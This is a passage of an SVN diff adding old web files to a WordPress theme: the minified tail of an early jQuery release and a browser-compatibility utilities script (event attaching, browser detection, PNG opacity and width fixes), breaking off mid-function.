+jQuery.readyList.push(function(){return fn.call(this,jQuery);});return this;}});jQuery.extend({isReady:false,readyList:[],ready:function(){if(!jQuery.isReady){jQuery.isReady=true;if(jQuery.readyList){jQuery.each(jQuery.readyList,function(){this.call(document);});jQuery.readyList=null;}jQuery(document).triggerHandler("ready");}}});var readyBound=false;function bindReady(){if(readyBound)return;readyBound=true;if(document.addEventListener&&!jQuery.browser.opera)document.addEventListener("DOMContentLoaded",jQuery.ready,false);if(jQuery.browser.msie&&window==top)(function(){if(jQuery.isReady)return;try{document.documentElement.doScroll("left");}catch(error){setTimeout(arguments.callee,0);return;}jQuery.ready();})();if(jQuery.browser.opera)document.addEventListener("DOMContentLoaded",function(){if(jQuery.isReady)return;for(var i=0;i<document.styleSheets.length;i++)if(document.styleSheets[i].disabled){setTimeout(arguments.callee,0);return;}jQuery.ready();},false);if(jQuery.browser.safari){var numStyles;(function(){if(jQuery.isReady)return;if(document.readyState!="loaded"&&document.readyState!="complete"){setTimeout(arguments.callee,0);return;}if(numStyles===undefined)numStyles=jQuery("style, link[rel=stylesheet]").length;if(document.styleSheets.length!=numStyles){setTimeout(arguments.callee,0);return;}jQuery.ready();})();}jQuery.event.add(window,"load",jQuery.ready);}jQuery.each(("blur,focus,load,resize,scroll,unload,click,dblclick,"+"mousedown,mouseup,mousemove,mouseover,mouseout,change,select,"+"submit,keydown,keypress,keyup,error").split(","),function(i,name){jQuery.fn[name]=function(fn){return fn?this.bind(name,fn):this.trigger(name);};});var withinElement=function(event,elem){var parent=event.relatedTarget;while(parent&&parent!=elem)try{parent=parent.parentNode;}catch(error){parent=elem;}return parent==elem;};jQuery(window).bind("unload",function(){jQuery("*").add(document).unbind();});jQuery.fn.extend({_load:jQuery.fn.load,load:function(url,params,callback){if(typeof url!='string')return this._load(url);var off=url.indexOf(" ");if(off>=0){var selector=url.slice(off,url.length);url=url.slice(0,off);}callback=callback||function(){};var type="GET";if(params)if(jQuery.isFunction(params)){callback=params;params=null;}else{params=jQuery.param(params);type="POST";}var self=this;jQuery.ajax({url:url,type:type,dataType:"html",data:params,complete:function(res,status){if(status=="success"||status=="notmodified")self.html(selector?jQuery("<div/>").append(res.responseText.replace(/<script(.|\s)*?\/script>/g,"")).find(selector):res.responseText);self.each(callback,[res.responseText,status,res]);}});return this;},serialize:function(){return jQuery.param(this.serializeArray());},serializeArray:function(){return this.map(function(){return jQuery.nodeName(this,"form")?jQuery.makeArray(this.elements):this;}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password/i.test(this.type));}).map(function(i,elem){var val=jQuery(this).val();return val==null?null:val.constructor==Array?jQuery.map(val,function(val,i){return{name:elem.name,value:val};}):{name:elem.name,value:val};}).get();}});jQuery.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(i,o){jQuery.fn[o]=function(f){return this.bind(o,f);};});var jsc=now();jQuery.extend({get:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data=null;}return jQuery.ajax({type:"GET",url:url,data:data,success:callback,dataType:type});},getScript:function(url,callback){return jQuery.get(url,null,callback,"script");},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json");},post:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data={};}return jQuery.ajax({type:"POST",url:url,data:data,success:callback,dataType:type});},ajaxSetup:function(settings){jQuery.extend(jQuery.ajaxSettings,settings);},ajaxSettings:{url:location.href,global:true,type:"GET",timeout:0,contentType:"application/x-www-form-urlencoded",processData:true,async:true,data:null,username:null,password:null,accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(s){s=jQuery.extend(true,s,jQuery.extend(true,{},jQuery.ajaxSettings,s));var jsonp,jsre=/=\?(&|$)/g,status,data,type=s.type.toUpperCase();if(s.data&&s.processData&&typeof s.data!="string")s.data=jQuery.param(s.data);if(s.dataType=="jsonp"){if(type=="GET"){if(!s.url.match(jsre))s.url+=(s.url.match(/\?/)?"&":"?")+(s.jsonp||"callback")+"=?";}else if(!s.data||!s.data.match(jsre))s.data=(s.data?s.data+"&":"")+(s.jsonp||"callback")+"=?";s.dataType="json";}if(s.dataType=="json"&&(s.data&&s.data.match(jsre)||s.url.match(jsre))){jsonp="jsonp"+jsc++;if(s.data)s.data=(s.data+"").replace(jsre,"="+jsonp+"$1");s.url=s.url.replace(jsre,"="+jsonp+"$1");s.dataType="script";window[jsonp]=function(tmp){data=tmp;success();complete();window[jsonp]=undefined;try{delete window[jsonp];}catch(e){}if(head)head.removeChild(script);};}if(s.dataType=="script"&&s.cache==null)s.cache=false;if(s.cache===false&&type=="GET"){var ts=now();var ret=s.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+ts+"$2");s.url=ret+((ret==s.url)?(s.url.match(/\?/)?"&":"?")+"_="+ts:"");}if(s.data&&type=="GET"){s.url+=(s.url.match(/\?/)?"&":"?")+s.data;s.data=null;}if(s.global&&!jQuery.active++)jQuery.event.trigger("ajaxStart");var remote=/^(?:\w+:)?\/\/([^\/?#]+)/;if(s.dataType=="script"&&type=="GET"&&remote.test(s.url)&&remote.exec(s.url)[1]!=location.host){var head=document.getElementsByTagName("head")[0];var script=document.createElement("script");script.src=s.url;if(s.scriptCharset)script.charset=s.scriptCharset;if(!jsonp){var done=false;script.onload=script.onreadystatechange=function(){if(!done&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){done=true;success();complete();head.removeChild(script);}};}head.appendChild(script);return undefined;}var requestDone=false;var xhr=window.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest();if(s.username)xhr.open(type,s.url,s.async,s.username,s.password);else
+xhr.open(type,s.url,s.async);try{if(s.data)xhr.setRequestHeader("Content-Type",s.contentType);if(s.ifModified)xhr.setRequestHeader("If-Modified-Since",jQuery.lastModified[s.url]||"Thu, 01 Jan 1970 00:00:00 GMT");xhr.setRequestHeader("X-Requested-With","XMLHttpRequest");xhr.setRequestHeader("Accept",s.dataType&&s.accepts[s.dataType]?s.accepts[s.dataType]+", */*":s.accepts._default);}catch(e){}if(s.beforeSend&&s.beforeSend(xhr,s)===false){s.global&&jQuery.active--;xhr.abort();return false;}if(s.global)jQuery.event.trigger("ajaxSend",[xhr,s]);var onreadystatechange=function(isTimeout){if(!requestDone&&xhr&&(xhr.readyState==4||isTimeout=="timeout")){requestDone=true;if(ival){clearInterval(ival);ival=null;}status=isTimeout=="timeout"&&"timeout"||!jQuery.httpSuccess(xhr)&&"error"||s.ifModified&&jQuery.httpNotModified(xhr,s.url)&&"notmodified"||"success";if(status=="success"){try{data=jQuery.httpData(xhr,s.dataType,s.dataFilter);}catch(e){status="parsererror";}}if(status=="success"){var modRes;try{modRes=xhr.getResponseHeader("Last-Modified");}catch(e){}if(s.ifModified&&modRes)jQuery.lastModified[s.url]=modRes;if(!jsonp)success();}else
+jQuery.handleError(s,xhr,status);complete();if(s.async)xhr=null;}};if(s.async){var ival=setInterval(onreadystatechange,13);if(s.timeout>0)setTimeout(function(){if(xhr){xhr.abort();if(!requestDone)onreadystatechange("timeout");}},s.timeout);}try{xhr.send(s.data);}catch(e){jQuery.handleError(s,xhr,null,e);}if(!s.async)onreadystatechange();function success(){if(s.success)s.success(data,status);if(s.global)jQuery.event.trigger("ajaxSuccess",[xhr,s]);}function complete(){if(s.complete)s.complete(xhr,status);if(s.global)jQuery.event.trigger("ajaxComplete",[xhr,s]);if(s.global&&!--jQuery.active)jQuery.event.trigger("ajaxStop");}return xhr;},handleError:function(s,xhr,status,e){if(s.error)s.error(xhr,status,e);if(s.global)jQuery.event.trigger("ajaxError",[xhr,s,e]);},active:0,httpSuccess:function(xhr){try{return!xhr.status&&location.protocol=="file:"||(xhr.status>=200&&xhr.status<300)||xhr.status==304||xhr.status==1223||jQuery.browser.safari&&xhr.status==undefined;}catch(e){}return false;},httpNotModified:function(xhr,url){try{var xhrRes=xhr.getResponseHeader("Last-Modified");return xhr.status==304||xhrRes==jQuery.lastModified[url]||jQuery.browser.safari&&xhr.status==undefined;}catch(e){}return false;},httpData:function(xhr,type,filter){var ct=xhr.getResponseHeader("content-type"),xml=type=="xml"||!type&&ct&&ct.indexOf("xml")>=0,data=xml?xhr.responseXML:xhr.responseText;if(xml&&data.documentElement.tagName=="parsererror")throw"parsererror";if(filter)data=filter(data,type);if(type=="script")jQuery.globalEval(data);if(type=="json")data=eval("("+data+")");return data;},param:function(a){var s=[];if(a.constructor==Array||a.jquery)jQuery.each(a,function(){s.push(encodeURIComponent(this.name)+"="+encodeURIComponent(this.value));});else
+for(var j in a)if(a[j]&&a[j].constructor==Array)jQuery.each(a[j],function(){s.push(encodeURIComponent(j)+"="+encodeURIComponent(this));});else
+s.push(encodeURIComponent(j)+"="+encodeURIComponent(jQuery.isFunction(a[j])?a[j]():a[j]));return s.join("&").replace(/%20/g,"+");}});jQuery.fn.extend({show:function(speed,callback){return speed?this.animate({height:"show",width:"show",opacity:"show"},speed,callback):this.filter(":hidden").each(function(){this.style.display=this.oldblock||"";if(jQuery.css(this,"display")=="none"){var elem=jQuery("<"+this.tagName+" />").appendTo("body");this.style.display=elem.css("display");if(this.style.display=="none")this.style.display="block";elem.remove();}}).end();},hide:function(speed,callback){return speed?this.animate({height:"hide",width:"hide",opacity:"hide"},speed,callback):this.filter(":visible").each(function(){this.oldblock=this.oldblock||jQuery.css(this,"display");this.style.display="none";}).end();},_toggle:jQuery.fn.toggle,toggle:function(fn,fn2){return jQuery.isFunction(fn)&&jQuery.isFunction(fn2)?this._toggle.apply(this,arguments):fn?this.animate({height:"toggle",width:"toggle",opacity:"toggle"},fn,fn2):this.each(function(){jQuery(this)[jQuery(this).is(":hidden")?"show":"hide"]();});},slideDown:function(speed,callback){return this.animate({height:"show"},speed,callback);},slideUp:function(speed,callback){return this.animate({height:"hide"},speed,callback);},slideToggle:function(speed,callback){return this.animate({height:"toggle"},speed,callback);},fadeIn:function(speed,callback){return this.animate({opacity:"show"},speed,callback);},fadeOut:function(speed,callback){return this.animate({opacity:"hide"},speed,callback);},fadeTo:function(speed,to,callback){return this.animate({opacity:to},speed,callback);},animate:function(prop,speed,easing,callback){var optall=jQuery.speed(speed,easing,callback);return this[optall.queue===false?"each":"queue"](function(){if(this.nodeType!=1)return false;var opt=jQuery.extend({},optall),p,hidden=jQuery(this).is(":hidden"),self=this;for(p in prop){if(prop[p]=="hide"&&hidden||prop[p]=="show"&&!hidden)return opt.complete.call(this);if(p=="height"||p=="width"){opt.display=jQuery.css(this,"display");opt.overflow=this.style.overflow;}}if(opt.overflow!=null)this.style.overflow="hidden";opt.curAnim=jQuery.extend({},prop);jQuery.each(prop,function(name,val){var e=new jQuery.fx(self,opt,name);if(/toggle|show|hide/.test(val))e[val=="toggle"?hidden?"show":"hide":val](prop);else{var parts=val.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),start=e.cur(true)||0;if(parts){var end=parseFloat(parts[2]),unit=parts[3]||"px";if(unit!="px"){self.style[name]=(end||1)+unit;start=((end||1)/e.cur(true))*start;self.style[name]=start+unit;}if(parts[1])end=((parts[1]=="-="?-1:1)*end)+start;e.custom(start,end,unit);}else
+e.custom(start,val,"");}});return true;});},queue:function(type,fn){if(jQuery.isFunction(type)||(type&&type.constructor==Array)){fn=type;type="fx";}if(!type||(typeof type=="string"&&!fn))return queue(this[0],type);return this.each(function(){if(fn.constructor==Array)queue(this,type,fn);else{queue(this,type).push(fn);if(queue(this,type).length==1)fn.call(this);}});},stop:function(clearQueue,gotoEnd){var timers=jQuery.timers;if(clearQueue)this.queue([]);this.each(function(){for(var i=timers.length-1;i>=0;i--)if(timers[i].elem==this){if(gotoEnd)timers[i](true);timers.splice(i,1);}});if(!gotoEnd)this.dequeue();return this;}});var queue=function(elem,type,array){if(elem){type=type||"fx";var q=jQuery.data(elem,type+"queue");if(!q||array)q=jQuery.data(elem,type+"queue",jQuery.makeArray(array));}return q;};jQuery.fn.dequeue=function(type){type=type||"fx";return this.each(function(){var q=queue(this,type);q.shift();if(q.length)q[0].call(this);});};jQuery.extend({speed:function(speed,easing,fn){var opt=speed&&speed.constructor==Object?speed:{complete:fn||!fn&&easing||jQuery.isFunction(speed)&&speed,duration:speed,easing:fn&&easing||easing&&easing.constructor!=Function&&easing};opt.duration=(opt.duration&&opt.duration.constructor==Number?opt.duration:jQuery.fx.speeds[opt.duration])||jQuery.fx.speeds.def;opt.old=opt.complete;opt.complete=function(){if(opt.queue!==false)jQuery(this).dequeue();if(jQuery.isFunction(opt.old))opt.old.call(this);};return opt;},easing:{linear:function(p,n,firstNum,diff){return firstNum+diff*p;},swing:function(p,n,firstNum,diff){return((-Math.cos(p*Math.PI)/2)+0.5)*diff+firstNum;}},timers:[],timerId:null,fx:function(elem,options,prop){this.options=options;this.elem=elem;this.prop=prop;if(!options.orig)options.orig={};}});jQuery.fx.prototype={update:function(){if(this.options.step)this.options.step.call(this.elem,this.now,this);(jQuery.fx.step[this.prop]||jQuery.fx.step._default)(this);if(this.prop=="height"||this.prop=="width")this.elem.style.display="block";},cur:function(force){if(this.elem[this.prop]!=null&&this.elem.style[this.prop]==null)return this.elem[this.prop];var r=parseFloat(jQuery.css(this.elem,this.prop,force));return r&&r>-10000?r:parseFloat(jQuery.curCSS(this.elem,this.prop))||0;},custom:function(from,to,unit){this.startTime=now();this.start=from;this.end=to;this.unit=unit||this.unit||"px";this.now=this.start;this.pos=this.state=0;this.update();var self=this;function t(gotoEnd){return self.step(gotoEnd);}t.elem=this.elem;jQuery.timers.push(t);if(jQuery.timerId==null){jQuery.timerId=setInterval(function(){var timers=jQuery.timers;for(var i=0;i<timers.length;i++)if(!timers[i]())timers.splice(i--,1);if(!timers.length){clearInterval(jQuery.timerId);jQuery.timerId=null;}},13);}},show:function(){this.options.orig[this.prop]=jQuery.attr(this.elem.style,this.prop);this.options.show=true;this.custom(0,this.cur());if(this.prop=="width"||this.prop=="height")this.elem.style[this.prop]="1px";jQuery(this.elem).show();},hide:function(){this.options.orig[this.prop]=jQuery.attr(this.elem.style,this.prop);this.options.hide=true;this.custom(this.cur(),0);},step:function(gotoEnd){var t=now();if(gotoEnd||t>this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var done=true;for(var i in this.options.curAnim)if(this.options.curAnim[i]!==true)done=false;if(done){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(jQuery.css(this.elem,"display")=="none")this.elem.style.display="block";}if(this.options.hide)this.elem.style.display="none";if(this.options.hide||this.options.show)for(var p in this.options.curAnim)jQuery.attr(this.elem.style,p,this.options.orig[p]);}if(done)this.options.complete.call(this.elem);return false;}else{var n=t-this.startTime;this.state=n/this.options.duration;this.pos=jQuery.easing[this.options.easing||(jQuery.easing.swing?"swing":"linear")](this.state,n,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update();}return true;}};jQuery.extend(jQuery.fx,{speeds:{slow:600,fast:200,def:400},step:{scrollLeft:function(fx){fx.elem.scrollLeft=fx.now;},scrollTop:function(fx){fx.elem.scrollTop=fx.now;},opacity:function(fx){jQuery.attr(fx.elem.style,"opacity",fx.now);},_default:function(fx){fx.elem.style[fx.prop]=fx.now+fx.unit;}}});jQuery.fn.offset=function(){var left=0,top=0,elem=this[0],results;if(elem)with(jQuery.browser){var parent=elem.parentNode,offsetChild=elem,offsetParent=elem.offsetParent,doc=elem.ownerDocument,safari2=safari&&parseInt(version)<522&&!/adobeair/i.test(userAgent),css=jQuery.curCSS,fixed=css(elem,"position")=="fixed";if(elem.getBoundingClientRect){var box=elem.getBoundingClientRect();add(box.left+Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft),box.top+Math.max(doc.documentElement.scrollTop,doc.body.scrollTop));add(-doc.documentElement.clientLeft,-doc.documentElement.clientTop);}else{add(elem.offsetLeft,elem.offsetTop);while(offsetParent){add(offsetParent.offsetLeft,offsetParent.offsetTop);if(mozilla&&!/^t(able|d|h)$/i.test(offsetParent.tagName)||safari&&!safari2)border(offsetParent);if(!fixed&&css(offsetParent,"position")=="fixed")fixed=true;offsetChild=/^body$/i.test(offsetParent.tagName)?offsetChild:offsetParent;offsetParent=offsetParent.offsetParent;}while(parent&&parent.tagName&&!/^body|html$/i.test(parent.tagName)){if(!/^inline|table.*$/i.test(css(parent,"display")))add(-parent.scrollLeft,-parent.scrollTop);if(mozilla&&css(parent,"overflow")!="visible")border(parent);parent=parent.parentNode;}if((safari2&&(fixed||css(offsetChild,"position")=="absolute"))||(mozilla&&css(offsetChild,"position")!="absolute"))add(-doc.body.offsetLeft,-doc.body.offsetTop);if(fixed)add(Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft),Math.max(doc.documentElement.scrollTop,doc.body.scrollTop));}results={top:top,left:left};}function border(elem){add(jQuery.curCSS(elem,"borderLeftWidth",true),jQuery.curCSS(elem,"borderTopWidth",true));}function add(l,t){left+=parseInt(l,10)||0;top+=parseInt(t,10)||0;}return results;};jQuery.fn.extend({position:function(){var left=0,top=0,results;if(this[0]){var offsetParent=this.offsetParent(),offset=this.offset(),parentOffset=/^body|html$/i.test(offsetParent[0].tagName)?{top:0,left:0}:offsetParent.offset();offset.top-=num(this,'marginTop');offset.left-=num(this,'marginLeft');parentOffset.top+=num(offsetParent,'borderTopWidth');parentOffset.left+=num(offsetParent,'borderLeftWidth');results={top:offset.top-parentOffset.top,left:offset.left-parentOffset.left};}return results;},offsetParent:function(){var offsetParent=this[0].offsetParent;while(offsetParent&&(!/^body|html$/i.test(offsetParent.tagName)&&jQuery.css(offsetParent,'position')=='static'))offsetParent=offsetParent.offsetParent;return jQuery(offsetParent);}});jQuery.each(['Left','Top'],function(i,name){var method='scroll'+name;jQuery.fn[method]=function(val){if(!this[0])return;return val!=undefined?this.each(function(){this==window||this==document?window.scrollTo(!i?val:jQuery(window).scrollLeft(),i?val:jQuery(window).scrollTop()):this[method]=val;}):this[0]==window||this[0]==document?self[i?'pageYOffset':'pageXOffset']||jQuery.boxModel&&document.documentElement[method]||document.body[method]:this[0][method];};});jQuery.each(["Height","Width"],function(i,name){var tl=i?"Left":"Top",br=i?"Right":"Bottom";jQuery.fn["inner"+name]=function(){return this[name.toLowerCase()]()+num(this,"padding"+tl)+num(this,"padding"+br);};jQuery.fn["outer"+name]=function(margin){return this["inner"+name]()+num(this,"border"+tl+"Width")+num(this,"border"+br+"Width")+(margin?num(this,"margin"+tl)+num(this,"margin"+br):0);};});})();
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/js/ruthsarian_utilities.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/js/ruthsarian_utilities.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/js/ruthsarian_utilities.js	(revision 44)
@@ -0,0 +1,503 @@
+/*******************************************************************************
+*  ruthsarian_utilities.js : 2008.01.22
+* -----------------------------------------------------------------------------
+*  A group of useful JavaScript utilities that can aid in the development
+*  of webpages. Credit and source of code is given before each set of
+*  functions. 
+*******************************************************************************/
+
+/* event_attach() takes care of attaching event handlers (functions) to events. 
+ * this simplifies the process of attaching multiple handlers to a single event
+ *
+ * NOTE: the onload stack is executed in a LIFO manner to mimic 
+ *       IE's window.attachEvent function. However, Opera also has its own
+ *       window.attachEvent function which executes the onload stack in a 
+ *       FIFO manner. FIFO is better, but IE has a larger user base, so
+ *       LIFO is the way we go.
+ */
+function event_attach( event , func )
+{
+	if ( window.attachEvent )
+	{
+		window.attachEvent( event , func );
+	}
+	else
+	{
+		if ( ( typeof( func ) ).toLowerCase() != 'function' )
+		{
+			return;
+		}
+		if ( ( typeof( document.event_handlers ) ).toLowerCase() == 'undefined' )
+		{
+			document.event_handlers = new Array();
+		}
+		if ( ( typeof( document.event_handlers[ event ] ) ).toLowerCase() == 'undefined' )
+		{
+			document.event_handlers[ event ] = new Array();
+		}
+		if ( ( typeof( eval( 'window.' + event ) ) ).toLowerCase() != 'function' )
+		{
+			eval( 'window.' + event + ' = function () { if ( ( typeof( document.event_handlers[ \'' + event + '\' ] ) ).toLowerCase() != \'undefined\' ) { for ( i = document.event_handlers[ \'' + event + '\' ].length - 1 ; i >= 0  ; i-- ) { document.event_handlers[ \'' + event + '\' ][ i ](); } } } ' );
+		}
+		document.event_handlers[ event ][ document.event_handlers[ event ].length ] = func;
+	}
+}
+
+/* Browser Detect  v2.1.6
+ * documentation: http://www.dithered.com/javascript/browser_detect/index.html
+ * license: http://creativecommons.org/licenses/by/1.0/
+ * code by Chris Nott (chris[at]dithered[dot]com)
+ *
+ * modified to include Dreamcast
+ */
+function browser_detect() 
+{
+	var ua			= navigator.userAgent.toLowerCase(); 
+	this.isGecko		= (ua.indexOf('gecko') != -1 && ua.indexOf('safari') == -1);
+	this.isAppleWebKit	= (ua.indexOf('applewebkit') != -1);
+	this.isKonqueror	= (ua.indexOf('konqueror') != -1); 
+	this.isSafari		= (ua.indexOf('safari') != - 1);
+	this.isOmniweb		= (ua.indexOf('omniweb') != - 1);
+	this.isDreamcast	= (ua.indexOf("dreamcast") != -1);
+	this.isOpera		= (ua.indexOf('opera') != -1); 
+	this.isIcab		= (ua.indexOf('icab') != -1); 
+	this.isAol		= (ua.indexOf('aol') != -1); 
+	this.isIE		= (ua.indexOf('msie') != -1 && !this.isOpera && (ua.indexOf('webtv') == -1)); 
+	this.isMozilla		= (this.isGecko && ua.indexOf('gecko/') + 14 == ua.length);
+	this.isFirebird		= (ua.indexOf('firebird/') != -1);
+	this.isNS		= ((this.isGecko) ? (ua.indexOf('netscape') != -1) : ((ua.indexOf('mozilla') != -1) && !this.isOpera && !this.isSafari && (ua.indexOf('spoofer') == -1) && (ua.indexOf('compatible') == -1) && (ua.indexOf('webtv') == -1) && (ua.indexOf('hotjava') == -1)));
+	this.isIECompatible	= ((ua.indexOf('msie') != -1) && !this.isIE);
+	this.isNSCompatible	= ((ua.indexOf('mozilla') != -1) && !this.isNS && !this.isMozilla);
+	this.geckoVersion	= ((this.isGecko) ? ua.substring((ua.lastIndexOf('gecko/') + 6), (ua.lastIndexOf('gecko/') + 14)) : -1);
+	this.equivalentMozilla	= ((this.isGecko) ? parseFloat(ua.substring(ua.indexOf('rv:') + 3)) : -1);
+	this.appleWebKitVersion	= ((this.isAppleWebKit) ? parseFloat(ua.substring(ua.indexOf('applewebkit/') + 12)) : -1);
+	this.versionMinor	= parseFloat(navigator.appVersion); 
+	if (this.isGecko && !this.isMozilla) {
+		this.versionMinor = parseFloat(ua.substring(ua.indexOf('/', ua.indexOf('gecko/') + 6) + 1));
+	}
+	else if (this.isMozilla) {
+		this.versionMinor = parseFloat(ua.substring(ua.indexOf('rv:') + 3));
+	}
+	else if (this.isIE && this.versionMinor >= 4) {
+		this.versionMinor = parseFloat(ua.substring(ua.indexOf('msie ') + 5));
+	}
+	else if (this.isKonqueror) {
+		this.versionMinor = parseFloat(ua.substring(ua.indexOf('konqueror/') + 10));
+	}
+	else if (this.isSafari) {
+		this.versionMinor = parseFloat(ua.substring(ua.lastIndexOf('safari/') + 7));
+	}
+	else if (this.isOmniweb) {
+		this.versionMinor = parseFloat(ua.substring(ua.lastIndexOf('omniweb/') + 8));
+	}
+	else if (this.isOpera) {
+		this.versionMinor = parseFloat(ua.substring(ua.indexOf('opera') + 6));
+	}
+	else if (this.isIcab) {
+		this.versionMinor = parseFloat(ua.substring(ua.indexOf('icab') + 5));
+	}
+	this.versionMajor	= parseInt(this.versionMinor); 
+	this.isDOM1		= (document.getElementById);
+	this.isDOM2Event	= (document.addEventListener && document.removeEventListener);
+	this.mode		= document.compatMode ? document.compatMode : 'BackCompat';
+	this.isWin		= (ua.indexOf('win') != -1);
+	this.isWin32		= (this.isWin && (ua.indexOf('95') != -1 || ua.indexOf('98') != -1 || ua.indexOf('nt') != -1 || ua.indexOf('win32') != -1 || ua.indexOf('32bit') != -1 || ua.indexOf('xp') != -1));
+	this.isMac		= (ua.indexOf('mac') != -1);
+	this.isUnix		= (ua.indexOf('unix') != -1 || ua.indexOf('sunos') != -1 || ua.indexOf('bsd') != -1 || ua.indexOf('x11') != -1)
+	this.isLinux		= (ua.indexOf('linux') != -1);
+	this.isNS4x		= (this.isNS && this.versionMajor == 4);
+	this.isNS40x		= (this.isNS4x && this.versionMinor < 4.5);
+	this.isNS47x		= (this.isNS4x && this.versionMinor >= 4.7);
+	this.isNS4up		= (this.isNS && this.versionMinor >= 4);
+	this.isNS6x		= (this.isNS && this.versionMajor == 6);
+	this.isNS6up		= (this.isNS && this.versionMajor >= 6);
+	this.isNS7x		= (this.isNS && this.versionMajor == 7);
+	this.isNS7up		= (this.isNS && this.versionMajor >= 7);
+	this.isIE4x		= (this.isIE && this.versionMajor == 4);
+	this.isIE4up		= (this.isIE && this.versionMajor >= 4);
+	this.isIE5x		= (this.isIE && this.versionMajor == 5);
+	this.isIE55		= (this.isIE && this.versionMinor == 5.5);
+	this.isIE5up		= (this.isIE && this.versionMajor >= 5);
+	this.isIE6x		= (this.isIE && this.versionMajor == 6);
+	this.isIE6up		= (this.isIE && this.versionMajor >= 6);
+	this.isIE7x		= (this.isIE && this.versionMajor == 7);
+	this.isIE7up		= (this.isIE && this.versionMajor >= 7);
+	this.isIE4xMac		= (this.isIE4x && this.isMac);
+}
+
+/* Opacity Displayer, Version 1.0 - http://old.alistapart.com/stories/pngopacity/
+ * Copyright Michael Lovitt, 6/2002.
+ */
+function opacity( strId , strPath , intWidth , intHeight , strClass , strAlt )
+{	
+	if ( document.pngAlpha )
+	{
+		document.write( '<div style="height:'+intHeight+'px;width:'+intWidth+'px;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=\''+strPath+'.png\', sizingMethod=\'scale\')" id="'+strId+'" class="'+strClass+'"></div>' );
+	}
+	else if ( document.pngNormal )
+	{
+		document.write( '<img src="'+strPath+'.png" width="'+intWidth+'" height="'+intHeight+'" name="'+strId+'" border="0" class="'+strClass+'" alt="'+strAlt+'" />' );
+	}
+	else if ( document.layers )
+	{
+		return( '<img src="'+strPath+'.gif" width="'+intWidth+'" height="'+intHeight+'" name="'+strId+'" border="0" class="'+strClass+'" alt="'+strAlt+'" />' );
+	}
+	else
+	{
+		document.write( '<img src="'+strPath+'.gif" width="'+intWidth+'" height="'+intHeight+'" name="'+strId+'" border="0" class="'+strClass+'" alt="'+strAlt+'" />' );
+	}
+	return( '' );
+}
+function opacity_init()
+{
+	var browser = new browser_detect();
+	document.pngAlpha = false;
+	document.pngNormal = false;
+	document.strExt = ".gif";
+
+	if ( ( browser.isIE55 || browser.isIE6up ) && !browser.isIE7up && browser.isWin32 )
+	{
+		document.pngAlpha = true;
+		document.strExt = ".png";
+	}
+	else if ( 
+			( browser.isGecko ) || 
+			( browser.isIE5up && browser.isMac ) || 
+			( browser.isOpera && browser.isWin && browser.versionMajor >= 6 ) || 
+			( browser.isOpera && browser.isUnix && browser.versionMajor >= 6 ) || 
+			( browser.isOpera && browser.isMac && browser.versionMajor >= 5 ) || 
+			( browser.isOmniweb && browser.versionMinor >= 3.1 ) || 
+			( browser.isIcab && browser.versionMinor >= 1.9 ) || 
+			( browser.isWebtv ) || 
+			( browser.isDreamcast ) ||
+			( browser.isIE7up )
+		)
+	{
+		document.pngNormal = true;
+		document.strExt = ".png";
+	}
+}
+
+/* handler for Netscape Navigator clients that screw up the display
+ * of CSS pages when reloaded
+ */
+function NN_reloadPage( init )
+{
+	if ( init == true ) with ( navigator )
+	{
+		if ( ( appName == "Netscape" ) && ( parseInt ( appVersion ) == 4 ) )
+		{
+			document.NN_pgW = innerWidth;
+			document.NN_pgH = innerHeight;
+			event_attach ( 'onresize' , NN_reloadPage );
+		}
+	}
+	else if ( innerWidth != document.NN_pgW || innerHeight != document.NN_pgH )
+	{
+		location.reload();
+	}
+}
+
+/* Min Width v1.1.3 by PVII-www.projectseven.com
+ * http://www.projectseven.com/tutorials/css/minwidth/index.htm
+ *
+ * modified to support both min and max widths, for readability 
+ * and the ability to limit application to IE only so CSS 
+ * min-width property may be used by compliant browsers. 
+ *
+ * NOTE: horizontal spacing (margins, padding, borders) set in
+ *       % values may cause IE to crash when using this script.
+ *
+ * ALSO: padding, margins, and borders on parents of the element
+ *       you specify may result in IE getting suck in an infinite
+ *       loop. Please be sure to check your layout before you 
+ *       publish it!
+ */
+function set_min_width( obj_name , min_width , ieOnly )
+{
+	if ( ( typeof( ieOnly ) ).toLowerCase() == 'undefined' ) { ieOnly = true; }
+	set_width_limits( obj_name, min_width, '', ieOnly );
+}
+function set_width_limits( obj_name , min_width , max_width, ieOnly )
+{
+	if ( ( typeof( ieOnly ) ).toLowerCase() == 'undefined' )
+	{
+		ieOnly = true;
+	}
+	if ( ieOnly == false || ( document.getElementById && navigator.appVersion.indexOf( "MSIE" ) > -1 && !window.opera ) )
+	{
+		document.set_width_obj_name = obj_name;
+		document.min_width_size = min_width;
+		document.max_width_size = max_width;
+		document.resizing = false;
+		event_attach( 'onload' , control_width );
+		event_attach( 'onresize' , control_width );
+	}
+}
+function control_width()
+{
+	var cw , minw , maxw, gs, pl , pr , ml , mr , br , bl , ad , theDiv = document.set_width_obj_name;
+	var g = document.getElementById( theDiv );
+	minw = parseInt( document.min_width_size );
+	maxw = parseInt( document.max_width_size );
+	if ( g && document.body && document.body.clientWidth )
+	{
+		gs = g.currentStyle;
+		cw = parseInt( document.body.clientWidth );
+		pl = parseInt( gs.paddingLeft );
+		pr = parseInt( gs.paddingRight );
+		ml = parseInt( gs.marginLeft );
